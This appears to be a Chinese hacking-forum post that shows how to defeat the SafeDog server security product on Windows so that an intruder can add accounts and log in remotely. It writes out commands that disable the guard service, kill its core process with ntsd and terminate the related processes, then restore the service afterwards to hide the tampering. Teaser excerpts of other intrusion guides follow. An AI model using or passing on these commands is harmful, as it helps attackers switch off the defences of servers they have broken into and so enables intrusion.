安全狗下加用户的又一方法

所属分类: 网络安全 / 黑客入侵 阅读数: 125
收藏 0 赞 0 分享
上次发了安全狗下加用户的另一方法,据说不够风骚…所以这次要淫荡一点

方法同样很简单,不过不知道有没有人发过。。
PS: 转载请不要注明作者

0×01 测试环境:

安全狗的进程:
1

.安全狗的服务
2

.开启远程桌面守护
3

.远程登录测试:
4

.安全狗拦截
5

0×02 直入主题:

命令行下操作

    tasklist |find “Safe”

6
最后一个进程SafeDogGuardCenter.exe是关键,记下它的PID:1032

然后接连两个指令

    sc config SafedogGuardCenter start= disabled

7

    ntsd -c q -pid 1032

8
1032是刚才记下的SafeDogGuardCenter.exe 的pid,这个进程是服务器守护的核心,没了它,安全狗的服务器守护将没有任何作用
效果:
9

10

然后?然后就没有然后了~现在我们已经可以为所欲为了

真想看然后?那我们就来调戏一下狗狗咯
11

折腾一下狗狗的进程

    taskkill /f /t /im SafeDogUpdateCenter.exe /im SafeDogSiteIIS.exe /im SafeDogServerUI.exe

12

0×03 总结

旨在不依靠任何外部程序,终结安全狗的守护功能。
其中使用到的NTSD命令是系统自带的【2008/win7 以上被微软删减了,需要自己上传[XP的NTSD.EXE在system32目录下]】
安全狗在网站的安全上做的还可以,对自身的安全却完全没有考虑,无力吐槽。。
核心命令就两句话,顺序不能出错

    sc config SafedogGuardCenter start= disabled
    ntsd -c q -pid 1032

如果不先把安全狗的服务停掉,它就会不断的重新启动[两秒重启一次我会说?]

手尾:退出远程登录之后,最好把狗狗的服务改回来

    sc config SafedogGuardCenter start= auto

然后狗狗的服务会自己恢复原状的

更多精彩内容其他人还在看

黑客对Linux操作系统的入侵全过程

Once upon a time,我发现了一个网站,于是常规入侵。很好,它的FINGER开着,于是我编了一个SHELL,aaa帐号试到zzz(by the way,这是我发现的一个网上规律,那就是帐号的长度与口令的强度成正比, 如果一个帐号只有两三位长,那它的口令一般也很简单,反
收藏 0 赞 0 分享

Linux系统下由论坛到SSH的入侵分析

本来我不习惯开QQ,可好友打来电话说有事找我,遂上线。因为我用的QQ是能显示IP地址的木子版本,所以看到好友的IP:xxx.xxx.19.24,发现好友是在学校的实验室上网。我忽发奇想,想看看他们实验室的机器里都有些什么东西,因为以前我知道他们实验室的机子在一个C段里&mdash
收藏 0 赞 0 分享

黑客经验谈:如何入侵能建立IPC$空衔接的主机

IPC$的定义:IPC$是共享“命名管道”的资源,它对于程序间的通讯很重要。在远程管理计算机和查看计算机的共享资源时使用。   IPC$的作用:利用IPC$我们可以与目标主机建立一个空的连接(无需用户名与密码),而利用这个空的连接,我们就可以得到目标主
收藏 0 赞 0 分享

黑客经验谈系列之入侵3389起源完整编

这多是本人多年下来的经验。   工具:WINNTAutoAttack自动攻击器(扫漏洞);SQLTOOLS(SA空口令连接器);RAMDIN影子3.0中文版(远程控制程序)(RADMIN注册码):   08US9A95I lKa9nbOLXqv0V8xqdDvKGcN
收藏 0 赞 0 分享

黑客如何入侵装有SQL数据库的电脑主机

近些年来,计算机的安全性能,曾突飞猛进的上升势头。导致以前网络,遍地都是的弱口令肉鸡,现在早已消失的不知去向。可见其安全的提升程度,难道菜鸟抓取肉鸡成为了“天方夜潭”?当然答案是否定的,具体如何获取肉鸡请看下文所示!   小提示:肉鸡是指在网络上,已经
收藏 0 赞 0 分享

黑客谈对一台BT主机的入侵过程

终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢xia
收藏 0 赞 0 分享

黑客利用跨站实现HTTP会话劫持

Web应用程序是通过2种方式来判断和跟踪不同用户的:Cookie或者Session(也叫做会话型Cookie)。其中Cookie是存储在本地计算机上的,过期时间很长,所以针对Cookie的攻击手段一般是盗取用户Cookie然后伪造Cookie冒充该用户;而Session由于其存在
收藏 0 赞 0 分享

黑客谈MS07-029域名DNS漏洞利用入侵过程

前言: MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。 今天
收藏 0 赞 0 分享

黑客教你SQL注入Access导出WebShell的方法

热 点: 已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。 最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
收藏 0 赞 0 分享

一个注射点,一个webshell甚至系统权限

————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限 声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性
收藏 0 赞 0 分享
查看更多